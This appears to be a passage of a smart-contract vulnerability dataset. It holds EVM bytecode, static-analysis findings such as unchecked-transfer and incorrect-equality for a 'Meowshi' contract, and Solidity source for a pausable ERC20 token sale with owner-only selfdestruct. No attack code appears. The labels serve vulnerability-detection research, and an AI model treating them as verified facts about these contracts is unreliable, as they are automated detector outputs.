d1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016104fc565b60608167ffffffffffffffff811115611020577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561105357816020015b606081526020019060019003908161103e5790505b50905060005b82811015610c5f576000803086868581811061109e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020028101906110b0919061269f565b6040516110be9291906125e1565b600060405180830381855af49150503d80600081146110f9576040519150601f19603f3d011682016040523d82523d6000602084013e6110fe565b606091505b5091509150816111645760448151101561111757600080fd5b600481019050808060200190518101906111319190612495565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf3919061268c565b8084848151811061119e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910101525050600101611059565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260066020526040812054806111e557600061123c565b73ffffffffffffffffffffffffffffffffffffffff831660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff850184529091529020600101545b9392505050565b604080518082018252600781527f4d656f777368690000000000000000000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c083015273ffffffffffffffffffffffffffffffffffffffff8a1660e08301526101008201899052610120808301899052845180840390910181526101408301909452835193909201929092207f19010000000000000000000000000000000000000000000000000000000000006101608401526101628301829052610182830181905290916000906101a201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611421573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166114ef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c69642060448201527f7369676e617475726500000000000000000000000000000000000000000000006064820152608401610cf3565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260036020526040902080546001810190915589146115ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c69642060448201527f6e6f6e63650000000000000000000000000000000000000000000000000000006064820152608401610cf3565b8742111561163b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a207369676e6174757260448201527f65206578706972656400000000000000000000000000000000000000000000006064820152608401610cf3565b611645818b61202f565b505050505b505050505050565b604080518082018252600781527f4d656f777368690000000000000000000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a08201845280519083012073ffffffffffffffffffffffffffffffffffffffff8b81166000818152600386528681208054600181019091557f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960c087015260e0860192909252918c1661010085015261012084018b90526101408401526101608084018a9052855180850390910181526101808401909552845194909301939093207f19010000000000000000000000000000000000000000000000000000000000006101a08301526101a282018490526101c2820181905291906101e201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611855573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4d656f777368693a3a7065726d69743a20696e76616c6964207369676e61747560448201527f72650000000000000000000000000000000000000000000000000000000000006064820152608401610cf3565b8a73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146119b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4d656f777368693a3a7065726d69743a20756e617574686f72697a65640000006044820152606401610cf3565b50505084421115611a4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4d656f777368693a3a7065726d69743a207369676e617475726520657870697260448201527f65640000000000000000000000000000000000000000000000000000000000006064820152608401610cf3565b73ffffffffffffffffffffffffffffffffffffffff8881166000818152600160209081526040808320948c16808452948252918290208a905590518981527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35050505050505050565b6040517f23b872dd00000000000000000000000000000000000000000000000000000000815233600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482015260448101829052600090738798249c2e607446efb7ad49ec89dd1865ff4272906323b872dd90606401602060405180830381600087803b158015611b4757600080fd5b505af1158015611b5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b7f9190612475565b506040517f02b9446c000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff4272600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482018190523060448301526064820184905260006084830152906302b9446c9060a40161099a565b3360009081526002602052604081208054839290611c1e90849061275e565b909155505060008054829003815533815260046020526040812054611c5c9173ffffffffffffffffffffffffffffffffffffffff9091169083611c97565b60405181815260009033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cd257508015155b15611e495773ffffffffffffffffffffffffffffffffffffffff831615611d925773ffffffffffffffffffffffffffffffffffffffff83166000908152600660205260408120549081611d26576000611d7d565b73ffffffffffffffffffffffffffffffffffffffff851660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860184529091529020600101545b9050828103611d8e868484846120e6565b5050505b73ffffffffffffffffffffffffffffffffffffffff821615611e495773ffffffffffffffffffffffffffffffffffffffff82166000908152600660205260408120549081611de1576000611e38565b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860184529091529020600101545b905082810161164a858484846120e6565b505050565b604080513060248083019190915282518083039091018152604490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f70a082310000000000000000000000000000000000000000000000000000000017905290516000918291829173ffffffffffffffffffffffffffffffffffffffff861691611ee091906125f1565b600060405180830381855afa9150503d8060008114611f1b576040519150601f19603f3d011682016040523d82523d6000602084013e611f20565b606091505b5091509150818015611f3457506020815110155b611f3d57600080fd5b80806020019051810190611f51919061255c565b949350505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526002602052604081208054839290611f8e908490612709565b9250508190555080600080828254611fa69190612709565b909155505073ffffffffffffffffffffffffffffffffffffffff808316600090815260046020526040812054611fdd921683611c97565b60405181815273ffffffffffffffffffffffffffffffffffffffff8316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b73ffffffffffffffffffffffffffffffffffffffff80831660008181526004602052604080822080548686167fffffffffffffffffffffffff0000000000000000000000000000000000000000821681179092559151919094169392849290917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a473ffffffffffffffffffffffffffffffffffffffff8316600090815260026020526040902054611e499082908490611c97565b8215801590612146575073ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8701845290915290205443145b156121a85773ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff870184529091529020600101819055612204565b604080518082018252438152602080820184815273ffffffffffffffffffffffffffffffffffffffff88166000818152600584528581208982528452858120945185559151600194850155815260069091529190912090840190555b604080518381526020810183905273ffffffffffffffffffffffffffffffffffffffff8616917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a250505050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461227f57600080fd5b919050565b803560ff8116811461227f57600080fd5b6000602082840312156122a6578081fd5b61123c8261225b565b600080604083850312156122c1578081fd5b6122ca8361225b565b91506122d86020840161225b565b90509250929050565b6000806000606084860312156122f5578081fd5b6122fe8461225b565b925061230c6020850161225b565b9150604084013590509250925092565b600080600080600080600060e0888a031215612336578283fd5b61233f8861225b565b965061234d6020890161225b565b9550604088013594506060880135935061236960808901612284565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215612397578182fd5b6123a08361225b565b946020939093013593505050565b60008060008060008060c087890312156123c6578182fd5b6123cf8761225b565b955060208701359450604087013593506123eb60608801612284565b92506080870135915060a087013590509295509295509295565b60008060208385031215612417578182fd5b823567ffffffffffffffff8082111561242e578384fd5b818501915085601f830112612441578384fd5b81358181111561244f578485fd5b8660208260051b8501011115612463578485fd5b60209290920196919550909350505050565b600060208284031215612486578081fd5b8151801515811461123c578182fd5b6000602082840312156124a6578081fd5b815167ffffffffffffffff808211156124bd578283fd5b818401915084601f8301126124d0578283fd5b8151818111156124e2576124e26127d4565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908382118183101715612528576125286127d4565b81604052828152876020848701011115612540578586fd5b612551836020830160208801612775565b979650505050505050565b60006020828403121561256d578081fd5b5051919050565b60008060408385031215612586578182fd5b505080516020909101519092909150565b600081518084526125af816020860160208601612775565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b8183823760009101908152919050565b60008251612603818460208701612775565b9190910192915050565b6000602080830181845280855180835260408601915060408160051b8701019250838701855b8281101561267f577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc088860301845261266d858351612597565b94509285019290850190600101612633565b5092979650505050505050565b60208152600061123c6020830184612597565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe18436030181126126d3578283fd5b83018035915067ffffffffffffffff8211156126ed578283fd5b60200191503681900382131561270257600080fd5b9250929050565b6000821982111561271c5761271c6127a5565b500190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612759576127596127a5565b500290565b600082821015612770576127706127a5565b500390565b60005b83811015612790578181015183820152602001612778565b8381111561279f576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fdfea26469706673582212207fa3e9a73d84331a9aef3a5f67eaf656c70e882e9431b06e45d6ba52d493997064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,475 |
0x7c333b69021b3ad9288d3b0083f9bd27c6d4680a
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract TokenImpl is PausableToken {
string public name;
string public symbol;
uint8 public decimals = 5;
uint256 private decimal_num = 100000;
// cap of money in eth * decimal_num
uint256 public cap;
bool public canBuy = true;
event NewProject(string name, string symbol, uint256 cap);
event Mint(address indexed to, uint256 amount);
event IncreaseCap(uint256 cap, int256 cap_inc);
event PauseBuy();
event UnPauseBuy();
function TokenImpl(string _name, string _symbol, uint256 _cap) public {
require(_cap > 0);
name = _name;
symbol = _symbol;
cap = _cap.mul(decimal_num);
}
function newProject(string _name, string _symbol, uint256 _cap) public onlyOwner {
require(_cap > 0);
name = _name;
symbol = _symbol;
cap = _cap.mul(decimal_num);
NewProject(name, symbol, cap);
}
// fallback function can be used to buy tokens
function() external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(canBuy && msg.value >= (0.00001 ether));
require(beneficiary != address(0));
uint256 _amount = msg.value.mul(decimal_num).div(1 ether);
totalSupply = totalSupply.add(_amount);
require(totalSupply <= cap);
balances[beneficiary] = balances[beneficiary].add(_amount);
Mint(beneficiary, _amount);
Transfer(address(0), beneficiary, _amount);
// send ether to the fund collection wallet
owner.transfer(msg.value);
}
function saleRatio() public view returns (uint256 ratio) {
if (cap == 0) {
return 0;
} else {
return totalSupply.mul(10000).div(cap);
}
}
function pauseBuy() onlyOwner public {
canBuy = false;
PauseBuy();
}
function unPauseBuy() onlyOwner public {
canBuy = true;
UnPauseBuy();
}
// increase the amount of eth
function increaseCap(int256 _cap_inc) onlyOwner public {
require(_cap_inc != 0);
if (_cap_inc > 0) {
cap = cap.add(decimal_num.mul(uint256(_cap_inc)));
} else {
uint256 _dec = uint256(- 1 * _cap_inc);
uint256 cap_dec = decimal_num.mul(_dec);
if (cap_dec >= cap - totalSupply) {
cap = totalSupply;
} else {
cap = cap.sub(cap_dec);
}
}
IncreaseCap(cap, _cap_inc);
}
function destroy() onlyOwner public {
selfdestruct(owner);
}
}
|
0x606060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610154578063095ea7b3146101e257806318160ddd1461023c5780631f72d7d81461026557806323b872dd14610288578063313ce56714610301578063355274ea146103305780633b4a00b4146103595780633f4ba83a1461036e5780635c975abb1461038357806366188463146103b057806370a082311461040a57806383197ef0146104575780638456cb591461046c5780638da5cb5b14610481578063954db474146104d657806395d89b411461057f578063a38eb6221461060d578063a9059cbb14610622578063caded61f1461067c578063d73dd623146106a5578063dd62ed3e146106ff578063ec8ac4d81461076b578063f2fde38b14610799578063ff65226c146107d2575b610152336107ff565b005b341561015f57600080fd5b610167610a78565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a757808201518184015260208101905061018c565b50505050905090810190601f1680156101d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ed57600080fd5b610222600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b16565b604051808215151515815260200191505060405180910390f35b341561024757600080fd5b61024f610b46565b6040518082815260200191505060405180910390f35b341561027057600080fd5b6102866004808035906020019091905050610b4c565b005b341561029357600080fd5b6102e7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cb4565b604051808215151515815260200191505060405180910390f35b341561030c57600080fd5b610314610ce6565b604051808260ff1660ff16815260200191505060405180910390f35b341561033b57600080fd5b610343610cf9565b6040518082815260200191505060405180910390f35b341561036457600080fd5b61036c610cff565b005b341561037957600080fd5b610381610da4565b005b341561038e57600080fd5b610396610e64565b604051808215151515815260200191505060405180910390f35b34156103bb57600080fd5b6103f0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e77565b604051808215151515815260200191505060405180910390f35b341561041557600080fd5b610441600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ea7565b6040518082815260200191505060405180910390f35b341561046257600080fd5b61046a610ef0565b005b341561047757600080fd5b61047f610f87565b005b341561048c57600080fd5b610494611048565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104e157600080fd5b61057d600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001909190505061106e565b005b341561058a57600080fd5b610592611276565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061857600080fd5b610620611314565b005b341561062d57600080fd5b610662600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113b9565b604051808215151515815260200191505060405180910390f35b341561068757600080fd5b61068f6113e9565b6040518082815260200191505060405180910390f35b34156106b057600080fd5b6106e5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061142f565b604051808215151515815260200191505060405180910390f35b341561070a57600080fd5b610755600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061145f565b6040518082815260200191505060405180910390f35b610797600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107ff565b005b34156107a457600080fd5b6107d0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114e6565b005b34156107dd57600080fd5b6107e561163e565b604051808215151515815260200191505060405180910390f35b6000600960009054906101000a900460ff16801561082357506509184e72a0003410155b151561082e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561086a57600080fd5b610899670de0b6b3a764000061088b6007543461165190919063ffffffff16565b61168c90919063ffffffff16565b90506108b0816000546116a790919063ffffffff16565b600081905550600854600054111515156108c957600080fd5b61091b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885826040518082815260200191505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610a7457600080fd5b5050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0e5780601f10610ae357610100808354040283529160200191610b0e565b820191906000526020600020905b815481529060010190602001808311610af157829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610b3457600080fd5b610b3e83836116c5565b905092915050565b60005481565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bab57600080fd5b60008314151515610bbb57600080fd5b6000831315610bf857610bed610bdc8460075461165190919063ffffffff16565b6008546116a790919063ffffffff16565b600881905550610c6e565b827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff029150610c328260075461165190919063ffffffff16565b90506000546008540381101515610c5157600054600881905550610c6d565b610c66816008546117b790919063ffffffff16565b6008819055505b5b7fbcb69d1c91195da53603740abec45545d0294194d1f548910b3b21f58e73257b60085484604051808381526020018281526020019250505060405180910390a1505050565b6000600360149054906101000a900460ff16151515610cd257600080fd5b610cdd8484846117d0565b90509392505050565b600660009054906101000a900460ff1681565b60085481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d5b57600080fd5b6001600960006101000a81548160ff0219169083151502179055507fb61fb0a06617423f0d91ea516e180d8c4a5980fee4e729e7aa75c5a5f8666efa60405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0057600080fd5b600360149054906101000a900460ff161515610e1b57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610e9557600080fd5b610e9f8383611b8f565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4c57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe357600080fd5b600360149054906101000a900460ff16151515610fff57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110ca57600080fd5b6000811115156110d957600080fd5b82600490805190602001906110ef929190612240565b508160059080519060200190611106929190612240565b5061111c6007548261165190919063ffffffff16565b6008819055507f0faa3d22491a97796324f22dca020f67b8fe798970095b8d8bffbb24c8ec8e00600460056008546040518080602001806020018481526020018381038352868181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156111dd5780601f106111b2576101008083540402835291602001916111dd565b820191906000526020600020905b8154815290600101906020018083116111c057829003601f168201915b50508381038252858181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156112605780601f1061123557610100808354040283529160200191611260565b820191906000526020600020905b81548152906001019060200180831161124357829003601f168201915b50509550505050505060405180910390a1505050565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561130c5780601f106112e15761010080835404028352916020019161130c565b820191906000526020600020905b8154815290600101906020018083116112ef57829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137057600080fd5b6000600960006101000a81548160ff0219169083151502179055507fbe520aadcd535509eb694378ba9360a667acbf62a9e92540fd4b7de87d69943a60405160405180910390a1565b6000600360149054906101000a900460ff161515156113d757600080fd5b6113e18383611e20565b905092915050565b60008060085414156113fe576000905061142c565b61142960085461141b61271060005461165190919063ffffffff16565b61168c90919063ffffffff16565b90505b90565b6000600360149054906101000a900460ff1615151561144d57600080fd5b6114578383612044565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561157e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900460ff1681565b60008060008414156116665760009150611685565b828402905082848281151561167757fe5b0414151561168157fe5b8091505b5092915050565b600080828481151561169a57fe5b0490508091505092915050565b60008082840190508381101515156116bb57fe5b8091505092915050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008282111515156117c557fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156